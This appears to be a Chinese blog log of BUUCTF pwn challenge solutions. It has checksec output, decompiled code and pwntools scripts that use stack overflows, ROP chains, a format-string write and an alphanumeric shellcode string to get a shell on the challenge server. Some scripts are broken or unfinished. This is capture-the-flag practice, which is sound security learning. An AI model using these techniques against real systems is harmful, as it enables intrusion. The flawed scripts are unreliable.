__ ___ ______ ___
/ |/ /__ /_ __/__< /_ __
/ /|_/ / _ `// / / __/ /\ \ /
/_/ /_/\_,_//_/ /_/ /_//_\_\

choice>
a

丢进ida里面看看

emmmmm~怎么说

直接进行栈溢出?

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
p=remote('node5.buuoj.cn', 27962)
#p=process('./1111')


p.recvuntil('choice>')
#p.sendline('5')
#p.recvuntil('Please input the name of fruit:')
payload=b'A'*(0x20+8)+p64(0x00400896)
p.sendline(payload)
p.interactive()

堆题

,我说溢半天不对

☝️🤓

cmcc_pwnme2

2024.8.13

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/cmcc_pwnme2/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$ ./1111
Welcome
Please input:
1
Hello, 1
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/cmcc_pwnme2$

看着应该不难

丢进ida里面看看

漏洞是一眼就看见了gets函数

没怎么找到溢出点

wdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = remote('node5.buuoj.cn',25820)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

p.sendline(payload)
p.sendline('flag')
p.interactive()

不到为什么连不上远程

前天BUUCTF的问题应该是

mrctf2020_easy_equation

2024.8.15

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111
ok
ok
段错误 (核心已转储)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ^C

ok

丢进ida里面

进去一眼大开门

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h] BYREF

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}

直接溢出呢还是,满足条件呢

直接溢出一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('node5.buuoj.cn',28402)
elf=ELF('./1111')


#p.recvuntil('Please input:\n')
pop_rdi=0x0000000000400753
bin_sh_addr=0x000000000400774
system_addr=0x0004004E0
payload=b'a'*(0x1+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

p.sendline(payload)
#p.sendline('flag')
p.interactive()

直接ROP就行

emmmm~s的栈空间只有一位

image-20240815151230464

怎么说呢?

刚开始没想到是直接ROP

格式化字符串

也能做

1
2
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");

满足条件的话就是judge为2,就可以进行执行了

但是这个2怎么写入是一个问题

虽然说是judge在bss段上。但是怎么写入进去确实应该问题

格式化字符串也是很明显的

格式化字符串的一道题。首先是找偏移的对吧

还是老办法

%p打印地址

1
2
3
4
5
6
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111
baaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
baaa-0x23e12a1-0xfbad2288-0x23e12e1-(nil)-0x23e12a0-(nil)-0x6200000000000000-0x252d70252d616161-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0xa70252d70252d70-(nil)-(nil)-(nil)-(nil)-(nil)
段错误 (核心已转储)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$

看着是不行

看一手wp

他们是用这个填充的

1
%08x 表示以十六进制形式输出一个整数,并且输出的总长度为8位,不足部分用零填充。

aaaaa-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

1
2
3
4
5
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$ ./1111
aaaaa-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
aaaaa-014fa2a1-fbad2288-014fa2e2-00000000-014fa2a0-00000000-00000000-61616161-30252d78-2d783830-3830252d-252d7838
段错误 (核心已转储)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_easy_equation$

找到偏移为8

在bss段judge这写入2

进行跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('node5.buuoj.cn',28402)
elf=ELF('./1111')


#p.recvuntil('Please input:\n')
#pop_rdi=0x0000000000400753
#bin_sh_addr=0x000000000400774
#system_addr=0x0004004E0
payload=b'BB%9$naaa'+p64(pop_rdi)

p.sendline(payload)
#p.sendline('flag')
p.interactive()

mrctf2020_shellcode_revenge

2024.8.15

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$ ./1111
Show me your magic!
ok
I Can't Read This!llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/mrctf2020_shellcode_revenge$

怎么说

mian函数无法反编译

chat一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <unistd.h>
#include <stdio.h>

int main() {
char buf[0x400]; // 1024字节的缓冲区
int var_4; // 循环计数器
int var_8; // 读取字节数的变量

write(1, "Show me your magic!\n", 0x14); // 输出 "Show me your magic!\n"

var_8 = read(0, buf, 0x400); // 从标准输入读取最多1024字节到buf中

if (var_8 <= 0) { // 如果读取失败或读取字节数为0
return 0; // 程序退出
}

var_4 = 0; // 初始化循环计数器

while (var_4 < var_8) { // 开始循环处理输入的数据
// 检查字符是否在 `a`-`z` 范围
if (buf[var_4] >= '`' && buf[var_4] <= 'z') {
var_4++;
continue;
}

// 检查字符是否在 `@`-`Z` 范围
if (buf[var_4] >= '@' && buf[var_4] <= 'Z') {
var_4++;
continue;
}

// 检查字符是否在 `/`-`Z` 范围
if (buf[var_4] > '/' && buf[var_4] <= 'Z') {
var_4++;
continue;
}

// 如果字符不在任何范围内,输出 "I Can't Read This!" 并退出
printf("I Can't Read This!\n");
return 0;
}

// 如果所有字符都符合要求,则执行缓冲区中的内容(存在代码执行漏洞)
((void (*)(void))buf)();

return 0;
}

怎么说呢??

看半天也不知道这个shellcode怎么写

怎么说。看见write和read函数

是不是ORW??

怎么回事?

1
seccomp-tools dump  ./1111

这个命令不好使了

说是直接传shellcode

1
2
3
4
5
6
7
from pwn import *
p=process('./1111')
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p=remote('node5.buuoj.cn',26745)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

一般的shellcode的题解不出来

只能alpha3生成说是

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote("node5.buuoj.cn",29770)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r.recvuntil("Show me your magic!\n")
#shellcode= asm(shellcraft.sh())
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#payload=shellcode
payload=shellcode_64

r.send(payload)
r.interactive()

picoctf_2018_can_you_gets_me

2024.8.16

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ checksec 1111
[*] '/home/llq/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ chmod +x 1111
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$ ./1111
GIVE ME YOUR NAME!
ok
llq@llq-virtual-machine:~/阿pwn/BUUCTF-pwn/picoctf_2018_can_you_gets_me$

丢进ida里面看看